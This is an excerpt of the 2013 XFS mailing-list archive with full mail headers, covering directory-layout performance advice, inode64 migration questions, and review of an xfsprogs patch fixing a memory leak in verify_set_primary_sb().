<52444BDD.9060100@gmail.com> <20130926221643.GR26872@dastard> X-ASG-Orig-Subj: Re: Issues and new to the group In-Reply-To: <20130926221643.GR26872@dastard> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Barracuda-Connect: mail-ie0-f176.google.com[209.85.223.176] X-Barracuda-Start-Time: 1380248282 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC5_SA210e, DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140964 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.00 BSF_SC5_SA210e Custom Rule SA210e On 09/26/2013 06:16 PM, Dave Chinner wrote: > Virtualisation will have nothing to do with the problem. *All* my YMMV. Very heavy IO in KVM/Xen often results in some very interesting performance anomolies from the testing we've done on customer use cases. [...] > And, well, I can boot a virtualised machine in under 7s, while a > physical machine reboot takes about 5 minutes, so there's a massive > win in terms of compile/boot/test cycle times doing things this way. Certainly I agree with that aspect. Our KVM instances reboot and reload very quickly. This is one of their nicest features. One we use for similar reasons. > >> First and foremost: >> >> Can you change from one single large folder to a heirarchical set of >> folders? The single large folder means any metadata operation (ls, >> stat, open, close) has a huge set of lists to traverse. It will >> work, albiet slowly. As a rule of thumb, we try to make sure our >> users don't go much beyond 10k files/folder. If they need to, >> building a heirarchy of folders slightly increases management >> complexity, but keeps the lists that are needed to be traversed much >> smaller. > > I'll just quote what I told someone yesterday on IRC: > [...] >> A strategy for doing this: If your files are named "aaaa0001" >> "aaaa0002" ... "zzzz9999" or similar, then you can chop off the >> first letter, and make a directory of it, and then put all files >> starting with that letter in that directory. Then within each of >> those directories, do the same thing with the second letter. This >> gets you 676 directories and about 15k files per directory. Much >> faster directory operations. Much smaller lists to traverse. > > But that's still not optimal, as directory operations will then > serialise on per AG locks and so modifications will still be a > bottleneck if you only have 4 AGs in your filesystem. i.e. if you > are going to do this, you need to tailor the directory hash to the > concurrency the filesystem structure provide because more, smaller > directories are not necessarily better than fewer larger ones. > > Indeed, if you're workload is dominated by random lookups, the > hashing technique is less efficient than just having one large > directory as the internal btree indexes in the XFS directory > structure are far, far more IO efficient than a multi-level > directory hash of smaller directories. The trade-off in this case is > lookup concurrency - enough directories to provide good llokup > concurrency, yet few enough that you still get the IO benefit from > the scalability of the internal directory structure. This said, its pretty clear the OP is hitting performance bottlenecks. While the schema I proposed was non-optimal for the use case, I'd be hard pressed to imagine it being worse for his use case based upon what he's reported. Obviously, more detail on the issue is needed. From stan@hardwarefreak.com Thu Sep 26 21:39:10 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 9F5627F3F for ; Thu, 26 Sep 2013 21:39:10 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 6F2408F8050 for ; Thu, 26 Sep 2013 19:39:10 -0700 (PDT) X-ASG-Debug-ID: 1380249549-04cbb02c3e148e050001-NocioJ Received: from greer.hardwarefreak.com (mo-65-41-216-221.sta.embarqhsd.net [65.41.216.221]) by cuda.sgi.com with ESMTP id PHKCEzBvxBGw4yLh for ; Thu, 26 Sep 2013 19:39:09 -0700 (PDT) X-Barracuda-Envelope-From: stan@hardwarefreak.com X-Barracuda-Apparent-Source-IP: 65.41.216.221 X-Barracuda-User-Whitelist: xfs@oss.sgi.com Received: from [192.168.100.53] (gffx.hardwarefreak.com [192.168.100.53]) by greer.hardwarefreak.com (Postfix) with ESMTP id 51D606C177; Thu, 26 Sep 2013 21:39:09 -0500 (CDT) Message-ID: <5244EFCC.70406@hardwarefreak.com> Date: Thu, 26 Sep 2013 21:39:08 -0500 From: Stan Hoeppner Reply-To: stan@hardwarefreak.com User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:17.0) Gecko/20130801 Thunderbird/17.0.8 MIME-Version: 1.0 To: Joe Landman CC: xfs@oss.sgi.com, Ronnie Tartar Subject: Re: Issues and new to the group References: <0e4201cebaae$24873680$6d95a380$@host2max.com> <5244234D.1010603@hardwarefreak.com> <100f01cebaba$0ae84280$20b8c780$@host2max.com> <52444BDD.9060100@gmail.com> X-ASG-Orig-Subj: Re: Issues and new to the group In-Reply-To: <52444BDD.9060100@gmail.com> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: mo-65-41-216-221.sta.embarqhsd.net[65.41.216.221] X-Barracuda-Start-Time: 1380249549 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 9/26/2013 9:59 AM, Joe Landman wrote: > On 09/26/2013 09:12 AM, Ronnie Tartar wrote: >> Stan, >> >> Thanks for the reply. >> >> My fragmentation is: >> >> [root@AP-FS1 ~]# xfs_db -c frag -r /dev/xvdb1 >> actual 10470159, ideal 10409782, fragmentation factor 0.58% > This was never likely the cause ... Nobody suggested it was. -- Stan From zhong@linux.vnet.ibm.com Thu Sep 26 22:05:45 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id D316C7F3F for ; Thu, 26 Sep 2013 22:05:45 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id B2FC88F8040 for ; Thu, 26 Sep 2013 20:05:39 -0700 (PDT) X-ASG-Debug-ID: 1380251136-04cb6c153d1496f60001-NocioJ Received: from e23smtp07.au.ibm.com (e23smtp07.au.ibm.com [202.81.31.140]) by cuda.sgi.com with ESMTP id LaZ2dHPVGDmgLnqX (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Thu, 26 Sep 2013 20:05:38 -0700 (PDT) X-Barracuda-Envelope-From: zhong@linux.vnet.ibm.com X-Barracuda-Apparent-Source-IP: 202.81.31.140 X-Barracuda-IPDD: Level2 [linux.vnet.ibm.com/202.81.31.140] Received: from /spool/local by e23smtp07.au.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted for from ; Fri, 27 Sep 2013 13:05:35 +1000 X-Barracuda-IPDD: Level2 [linux.vnet.ibm.com/202.81.31.140] X-Barracuda-IPDD: Level2 [linux.vnet.ibm.com/202.81.31.140] X-Barracuda-IPDD: Level2 [linux.vnet.ibm.com/202.81.31.140] X-Barracuda-IPDD: Level2 [linux.vnet.ibm.com/202.81.31.140] Received: from d23dlp03.au.ibm.com (202.81.31.214) by e23smtp07.au.ibm.com (202.81.31.204) with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted; Fri, 27 Sep 2013 13:05:33 +1000 Received: from d23relay03.au.ibm.com (d23relay03.au.ibm.com [9.190.235.21]) by d23dlp03.au.ibm.com (Postfix) with ESMTP id 022333578052 for ; Fri, 27 Sep 2013 13:05:33 +1000 (EST) Received: from d23av03.au.ibm.com (d23av03.au.ibm.com [9.190.234.97]) by d23relay03.au.ibm.com (8.13.8/8.13.8/NCO v10.0) with ESMTP id r8R35LGK721240 for ; Fri, 27 Sep 2013 13:05:21 +1000 Received: from d23av03.au.ibm.com (localhost [127.0.0.1]) by d23av03.au.ibm.com (8.14.4/8.14.4/NCO v10.0 AVout) with ESMTP id r8R35WgY017175 for ; Fri, 27 Sep 2013 13:05:32 +1000 Received: from [9.123.210.162] (thinkpad-t5421.cn.ibm.com [9.123.210.162]) by d23av03.au.ibm.com (8.14.4/8.14.4/NCO v10.0 AVin) with ESMTP id r8R35T8w017076 (version=TLSv1/SSLv3 cipher=DHE-RSA-CAMELLIA256-SHA bits=256 verify=NO); Fri, 27 Sep 2013 13:05:31 +1000 Message-ID: <1380251129.2836.1.camel@ThinkPad-T5421> Subject: Re: [PATCH v3 1/2] xfsprogs: fix potential memory leak in verify_set_primary_sb() From: Li Zhong X-ASG-Orig-Subj: Re: [PATCH v3 1/2] xfsprogs: fix potential memory leak in verify_set_primary_sb() To: Eric Sandeen Cc: xfsprogs , Mark Tinguely , Chandra Seetharaman Date: Fri, 27 Sep 2013 11:05:29 +0800 In-Reply-To: <5244453D.6010605@sandeen.net> References: <1379829679.4089.2.camel@ThinkPad-T5421> <5241E125.7010902@sgi.com> <1380094327.2526.5.camel@ThinkPad-T5421> <5242F31B.4060902@sandeen.net> <1380177932.2983.11.camel@ThinkPad-T5421> <5244453D.6010605@sandeen.net> Content-Type: text/plain; charset="UTF-8" X-Mailer: Evolution 3.2.3-0ubuntu6 Content-Transfer-Encoding: 7bit Mime-Version: 1.0 X-TM-AS-MML: No X-Content-Scanned: Fidelis XPS MAILER x-cbid: 13092703-0260-0000-0000-000003B1C0CD X-Barracuda-Connect: e23smtp07.au.ibm.com[202.81.31.140] X-Barracuda-Start-Time: 1380251137 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On Thu, 2013-09-26 at 09:31 -0500, Eric Sandeen wrote: > On 9/26/13 1:45 AM, Li Zhong wrote: > > If verify_set_primary_sb() completes the secondary sb scanning loop with > > too few valid secondaries found (num_ok < num_sbs / 2), it will immediately > > return without freeing any of the previously allocated memory (variables > > sb, checked, and any items on the geo list). This was reported by > > the Coverity scanner as CID 997012, 997013 and 997014. > > > > Fix this by using the out_free_list: goto target for this error case. > > > > Earlier, if get_sb() fails in the secondary scan loop, it goes to > > the out: target which does not free any items on the geo list. Fix > > this by using the out_free_list: target as well, and remove the now-unused > > out: target. > > > > Signed-off-by: Li Zhong > > --- > > v2: as Mark pointed out, out in the for loop before also needs list to > > be freed. Also remove out lable as it is not referenced any more. > > v3: use a meaningful changlog from Eric, and hide the patch changlogs below "---". > > Thanks for that; you can add my: > > Reviewed-by: Eric Sandeen > > alongside Mark's. Ah, I missed that. Is it ok to just add it here in this mail? Reviewed-by: Mark Tinguely > > > repair/sb.c | 9 +++++---- > > 1 file changed, 5 insertions(+), 4 deletions(-) > > > > diff --git a/repair/sb.c b/repair/sb.c > > index aa550e3..d34d7a2 100644 > > --- a/repair/sb.c > > +++ b/repair/sb.c > > @@ -733,7 +733,7 @@ verify_set_primary_sb(xfs_sb_t *rsb, > > > > if (get_sb(sb, off, size, agno) == XR_EOF) { > > retval = 1; > > - goto out; > > + goto out_free_list; > > } > > > > if (verify_sb(sb, 0) == XR_OK) { > > @@ -756,8 +756,10 @@ verify_set_primary_sb(xfs_sb_t *rsb, > > /* > > * see if we have enough superblocks to bother with > > */ > > - if (num_ok < num_sbs / 2) > > - return(XR_INSUFF_SEC_SB); > > + if (num_ok < num_sbs / 2) { > > + retval = XR_INSUFF_SEC_SB; > > + goto out_free_list; > > + } > > > > current = get_best_geo(list); > > > > @@ -841,7 +843,6 @@ verify_set_primary_sb(xfs_sb_t *rsb, > > > > out_free_list: > > free_geo(list); > > -out: > > free(sb); > > free(checked); > > return(retval); > > > From sandeen@sandeen.net Thu Sep 26 22:24:14 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=MIME_QP_LONG_LINE autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 488867F3F for ; Thu, 26 Sep 2013 22:24:14 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id B6BF1AC002 for ; Thu, 26 Sep 2013 20:24:10 -0700 (PDT) X-ASG-Debug-ID: 1380252249-04cb6c3501119960001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id J9uJOJL9gA7gY9wr for ; Thu, 26 Sep 2013 20:24:09 -0700 (PDT) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from [192.168.1.102] (c-98-240-215-156.hsd1.mn.comcast.net [98.240.215.156]) (using TLSv1 with cipher AES128-SHA (128/128 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id 174206A69CD5; Thu, 26 Sep 2013 22:24:08 -0500 (CDT) References: <1379829679.4089.2.camel@ThinkPad-T5421> <5241E125.7010902@sgi.com> <1380094327.2526.5.camel@ThinkPad-T5421> <5242F31B.4060902@sandeen.net> <1380177932.2983.11.camel@ThinkPad-T5421> <5244453D.6010605@sandeen.net> <1380251129.2836.1.camel@ThinkPad-T5421> Mime-Version: 1.0 (1.0) In-Reply-To: <1380251129.2836.1.camel@ThinkPad-T5421> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: quoted-printable Message-Id: <47016750-3840-4770-873C-5D77050EEBCE@sandeen.net> Cc: xfsprogs , Mark Tinguely , Chandra Seetharaman X-Mailer: iPhone Mail (11A501) From: Eric Sandeen Subject: Re: [PATCH v3 1/2] xfsprogs: fix potential memory leak in verify_set_primary_sb() Date: Thu, 26 Sep 2013 22:24:01 -0500 X-ASG-Orig-Subj: Re: [PATCH v3 1/2] xfsprogs: fix potential memory leak in verify_set_primary_sb() To: Li Zhong X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1380252249 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.82 X-Barracuda-Spam-Status: No, SCORE=0.82 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=MIME_QP_LONG_LINE, MIME_QP_LONG_LINE_2 X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140965 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 MIME_QP_LONG_LINE RAW: Quoted-printable line longer than 76 chars 0.82 MIME_QP_LONG_LINE_2 RAW: Quoted-printable line longer than 76 chars > On Sep 26, 2013, at 10:05 PM, Li Zhong wrote: >=20 >> On Thu, 2013-09-26 at 09:31 -0500, Eric Sandeen wrote: >>> On 9/26/13 1:45 AM, Li Zhong wrote: >>> If verify_set_primary_sb() completes the secondary sb scanning loop with= >>> too few valid secondaries found (num_ok < num_sbs / 2), it will immediat= ely >>> return without freeing any of the previously allocated memory (variables= >>> sb, checked, and any items on the geo list). This was reported by >>> the Coverity scanner as CID 997012, 997013 and 997014. >>>=20 >>> Fix this by using the out_free_list: goto target for this error case. >>>=20 >>> Earlier, if get_sb() fails in the secondary scan loop, it goes to >>> the out: target which does not free any items on the geo list. Fix >>> this by using the out_free_list: target as well, and remove the now-unus= ed >>> out: target. >>>=20 >>> Signed-off-by: Li Zhong >>> --- >>> v2: as Mark pointed out, out in the for loop before also needs list to >>> be freed. Also remove out lable as it is not referenced any more. >>> v3: use a meaningful changlog from Eric, and hide the patch changlogs be= low "---". >>=20 >> Thanks for that; you can add my: >>=20 >> Reviewed-by: Eric Sandeen >>=20 >> alongside Mark's. >=20 > Ah, I missed that. Is it ok to just add it here in this mail?=20 >=20 > Reviewed-by: Mark Tinguely >=20 Sorry, I meant that for sgi but wasn't clear. Sometimes I talk too much. := ) Eric >>=20 >>> repair/sb.c | 9 +++++---- >>> 1 file changed, 5 insertions(+), 4 deletions(-) >>>=20 >>> diff --git a/repair/sb.c b/repair/sb.c >>> index aa550e3..d34d7a2 100644 >>> --- a/repair/sb.c >>> +++ b/repair/sb.c >>> @@ -733,7 +733,7 @@ verify_set_primary_sb(xfs_sb_t *rsb, >>>=20 >>> if (get_sb(sb, off, size, agno) =3D=3D XR_EOF) { >>> retval =3D 1; >>> - goto out; >>> + goto out_free_list; >>> } >>>=20 >>> if (verify_sb(sb, 0) =3D=3D XR_OK) { >>> @@ -756,8 +756,10 @@ verify_set_primary_sb(xfs_sb_t *rsb, >>> /* >>> * see if we have enough superblocks to bother with >>> */ >>> - if (num_ok < num_sbs / 2) >>> - return(XR_INSUFF_SEC_SB); >>> + if (num_ok < num_sbs / 2) { >>> + retval =3D XR_INSUFF_SEC_SB; >>> + goto out_free_list; >>> + } >>>=20 >>> current =3D get_best_geo(list); >>>=20 >>> @@ -841,7 +843,6 @@ verify_set_primary_sb(xfs_sb_t *rsb, >>>=20 >>> out_free_list: >>> free_geo(list); >>> -out: >>> free(sb); >>> free(checked); >>> return(retval); >=20 >=20 From zhong@linux.vnet.ibm.com Fri Sep 27 00:24:33 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 983287F3F for ; Fri, 27 Sep 2013 00:24:33 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 72C0A30405F for ; Thu, 26 Sep 2013 22:24:30 -0700 (PDT) X-ASG-Debug-ID: 1380259467-04cb6c153d149fba0001-NocioJ Received: from e28smtp04.in.ibm.com (e28smtp04.in.ibm.com [122.248.162.4]) by cuda.sgi.com with ESMTP id HMtH67eQABcFp0Qe (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Thu, 26 Sep 2013 22:24:29 -0700 (PDT) X-Barracuda-Envelope-From: zhong@linux.vnet.ibm.com X-Barracuda-Apparent-Source-IP: 122.248.162.4 X-Barracuda-IPDD: Level2 [linux.vnet.ibm.com/122.248.162.4] Received: from /spool/local by e28smtp04.in.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted for from ; Fri, 27 Sep 2013 10:54:23 +0530 X-Barracuda-IPDD: Level2 [linux.vnet.ibm.com/122.248.162.4] X-Barracuda-IPDD: Level2 [linux.vnet.ibm.com/122.248.162.4] X-Barracuda-IPDD: Level2 [linux.vnet.ibm.com/122.248.162.4] X-Barracuda-IPDD: Level2 [linux.vnet.ibm.com/122.248.162.4] Received: from d28dlp02.in.ibm.com (9.184.220.127) by e28smtp04.in.ibm.com (192.168.1.134) with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted; Fri, 27 Sep 2013 10:54:23 +0530 Received: from d28relay01.in.ibm.com (d28relay01.in.ibm.com [9.184.220.58]) by d28dlp02.in.ibm.com (Postfix) with ESMTP id CAF00394004E for ; Fri, 27 Sep 2013 10:54:06 +0530 (IST) Received: from d28av04.in.ibm.com (d28av04.in.ibm.com [9.184.220.66]) by d28relay01.in.ibm.com (8.13.8/8.13.8/NCO v10.0) with ESMTP id r8R5QfU236110470 for ; Fri, 27 Sep 2013 10:56:41 +0530 Received: from d28av04.in.ibm.com (localhost [127.0.0.1]) by d28av04.in.ibm.com (8.14.4/8.14.4/NCO v10.0 AVout) with ESMTP id r8R5OLnD019693 for ; Fri, 27 Sep 2013 10:54:22 +0530 Received: from [9.123.210.162] (thinkpad-t5421.cn.ibm.com [9.123.210.162]) by d28av04.in.ibm.com (8.14.4/8.14.4/NCO v10.0 AVin) with ESMTP id r8R5OJo4019609 (version=TLSv1/SSLv3 cipher=DHE-RSA-CAMELLIA256-SHA bits=256 verify=NO); Fri, 27 Sep 2013 10:54:21 +0530 Message-ID: <1380259459.2836.2.camel@ThinkPad-T5421> Subject: Re: [PATCH v3 1/2] xfsprogs: fix potential memory leak in verify_set_primary_sb() From: Li Zhong X-ASG-Orig-Subj: Re: [PATCH v3 1/2] xfsprogs: fix potential memory leak in verify_set_primary_sb() To: Eric Sandeen Cc: xfsprogs , Mark Tinguely , Chandra Seetharaman Date: Fri, 27 Sep 2013 13:24:19 +0800 In-Reply-To: <47016750-3840-4770-873C-5D77050EEBCE@sandeen.net> References: <1379829679.4089.2.camel@ThinkPad-T5421> <5241E125.7010902@sgi.com> <1380094327.2526.5.camel@ThinkPad-T5421> <5242F31B.4060902@sandeen.net> <1380177932.2983.11.camel@ThinkPad-T5421> <5244453D.6010605@sandeen.net> <1380251129.2836.1.camel@ThinkPad-T5421> <47016750-3840-4770-873C-5D77050EEBCE@sandeen.net> Content-Type: text/plain; charset="UTF-8" X-Mailer: Evolution 3.2.3-0ubuntu6 Content-Transfer-Encoding: 7bit Mime-Version: 1.0 X-TM-AS-MML: No X-Content-Scanned: Fidelis XPS MAILER x-cbid: 13092705-5564-0000-0000-000009E75946 X-Barracuda-Connect: e28smtp04.in.ibm.com[122.248.162.4] X-Barracuda-Start-Time: 1380259468 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On Thu, 2013-09-26 at 22:24 -0500, Eric Sandeen wrote: > > > On Sep 26, 2013, at 10:05 PM, Li Zhong wrote: > > > >> On Thu, 2013-09-26 at 09:31 -0500, Eric Sandeen wrote: > >>> On 9/26/13 1:45 AM, Li Zhong wrote: > >>> If verify_set_primary_sb() completes the secondary sb scanning loop with > >>> too few valid secondaries found (num_ok < num_sbs / 2), it will immediately > >>> return without freeing any of the previously allocated memory (variables > >>> sb, checked, and any items on the geo list). This was reported by > >>> the Coverity scanner as CID 997012, 997013 and 997014. > >>> > >>> Fix this by using the out_free_list: goto target for this error case. > >>> > >>> Earlier, if get_sb() fails in the secondary scan loop, it goes to > >>> the out: target which does not free any items on the geo list. Fix > >>> this by using the out_free_list: target as well, and remove the now-unused > >>> out: target. > >>> > >>> Signed-off-by: Li Zhong > >>> --- > >>> v2: as Mark pointed out, out in the for loop before also needs list to > >>> be freed. Also remove out lable as it is not referenced any more. > >>> v3: use a meaningful changlog from Eric, and hide the patch changlogs below "---". > >> > >> Thanks for that; you can add my: > >> > >> Reviewed-by: Eric Sandeen > >> > >> alongside Mark's. > > > > Ah, I missed that. Is it ok to just add it here in this mail? > > > > Reviewed-by: Mark Tinguely > > > Sorry, I meant that for sgi but wasn't clear. Sometimes I talk too much. :) Oh, I see :) Thanks, Zhong > > Eric > > >> > >>> repair/sb.c | 9 +++++---- > >>> 1 file changed, 5 insertions(+), 4 deletions(-) > >>> > >>> diff --git a/repair/sb.c b/repair/sb.c > >>> index aa550e3..d34d7a2 100644 > >>> --- a/repair/sb.c > >>> +++ b/repair/sb.c > >>> @@ -733,7 +733,7 @@ verify_set_primary_sb(xfs_sb_t *rsb, > >>> > >>> if (get_sb(sb, off, size, agno) == XR_EOF) { > >>> retval = 1; > >>> - goto out; > >>> + goto out_free_list; > >>> } > >>> > >>> if (verify_sb(sb, 0) == XR_OK) { > >>> @@ -756,8 +756,10 @@ verify_set_primary_sb(xfs_sb_t *rsb, > >>> /* > >>> * see if we have enough superblocks to bother with > >>> */ > >>> - if (num_ok < num_sbs / 2) > >>> - return(XR_INSUFF_SEC_SB); > >>> + if (num_ok < num_sbs / 2) { > >>> + retval = XR_INSUFF_SEC_SB; > >>> + goto out_free_list; > >>> + } > >>> > >>> current = get_best_geo(list); > >>> > >>> @@ -841,7 +843,6 @@ verify_set_primary_sb(xfs_sb_t *rsb, > >>> > >>> out_free_list: > >>> free_geo(list); > >>> -out: > >>> free(sb); > >>> free(checked); > >>> return(retval); > > > > > From kkeller@wombat.san-francisco.ca.us Fri Sep 27 03:18:50 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id AE7637F50 for ; Fri, 27 Sep 2013 03:18:50 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 820688F8071 for ; Fri, 27 Sep 2013 01:18:47 -0700 (PDT) X-ASG-Debug-ID: 1380269926-04bdf05387594710001-w1Z2WR Received: from wombat.san-francisco.ca.us (wombat.san-francisco.ca.us [75.101.60.140]) by cuda.sgi.com with ESMTP id hnfVVNN9QbFzfdvc for ; Fri, 27 Sep 2013 01:18:46 -0700 (PDT) X-Barracuda-Envelope-From: kkeller@wombat.san-francisco.ca.us X-Barracuda-Apparent-Source-IP: 75.101.60.140 Received: by wombat.san-francisco.ca.us (Postfix, from userid 1000) id 823723A05; Fri, 27 Sep 2013 01:18:44 -0700 (PDT) Date: Fri, 27 Sep 2013 01:18:44 -0700 From: Keith Keller To: linux-xfs@oss.sgi.com Subject: Re: free inodes remaining in 1tb Message-ID: <20130927081844.GA14996@wombat.san-francisco.ca.us> X-ASG-Orig-Subj: Re: free inodes remaining in 1tb References: <44qehaxod8.ln2@goaway.wombat.san-francisco.ca.us> <20130927010847.GW26872@dastard> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20130927010847.GW26872@dastard> User-Agent: Mutt/1.4.2.3i X-Barracuda-Connect: wombat.san-francisco.ca.us[75.101.60.140] X-Barracuda-Start-Time: 1380269926 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=MARKETING_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140970 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words Thank you both Dave and Carlos for your replies. My response inline. On Fri, Sep 27, 2013 at 11:08:47AM +1000, Dave Chinner wrote: > On Thu, Sep 26, 2013 at 03:47:00PM -0700, Keith Keller wrote: > > > so that I can plan for a migration to > > inode64 (if it's very few, I would make it a high priority; if not, it > > can be done in a few weeks instead, for example). Is there an easy > > way (or even a hard way) to query the filesystem for this information? > > Only a hard way - using xfs_db to look at on-disk structures and > inferring the state from there... That's what I was afraid of. :) > So if you have an old kernel (older than 2.6.35), you won't be able > to access 64 bit inodes at all if you mount with inode32. Anything > more recent than that will work just fine. I am currently using a stock CentOS kernel, 2.6.32-358.14.1.el6.x86_64. I'd have to check the changelogs to see if that kernel has the patch in question, which I will do tomorrow. I have another machine on kernel-ml which I'm trying out now, and may simply move the original machine to it as well. > The inode number is an encoding of the physical location of the inod > inthe filesystem. Hence the kernel code can always find the inode > location - it just may not be able to do anything with it because > the caches on old kernels can't index them... Great, thanks, that's really helpful. On 2013-09-26, Carlos Maiolino wrote: > bear in mind though that are some applications that can't read 64bit > inodes. I know that NFS has some issues (documented in the XFS FAQ). Do you know offhand of any other examples? --keith -- kkeller@wombat.san-francisco.ca.us From zhong@linux.vnet.ibm.com Fri Sep 27 04:09:52 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id E43AF7F50 for ; Fri, 27 Sep 2013 04:09:52 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id B835B304066 for ; Fri, 27 Sep 2013 02:09:49 -0700 (PDT) X-ASG-Debug-ID: 1380272981-04cbb02c3a14a4d30001-NocioJ Received: from e28smtp05.in.ibm.com (e28smtp05.in.ibm.com [122.248.162.5]) by cuda.sgi.com with ESMTP id K3Ri1ARatVi3uugv (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 27 Sep 2013 02:09:43 -0700 (PDT) X-Barracuda-Envelope-From: zhong@linux.vnet.ibm.com X-Barracuda-Apparent-Source-IP: 122.248.162.5 X-Barracuda-IPDD: Level2 [linux.vnet.ibm.com/122.248.162.5] Received: from /spool/local by e28smtp05.in.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted for from ; Fri, 27 Sep 2013 14:39:39 +0530 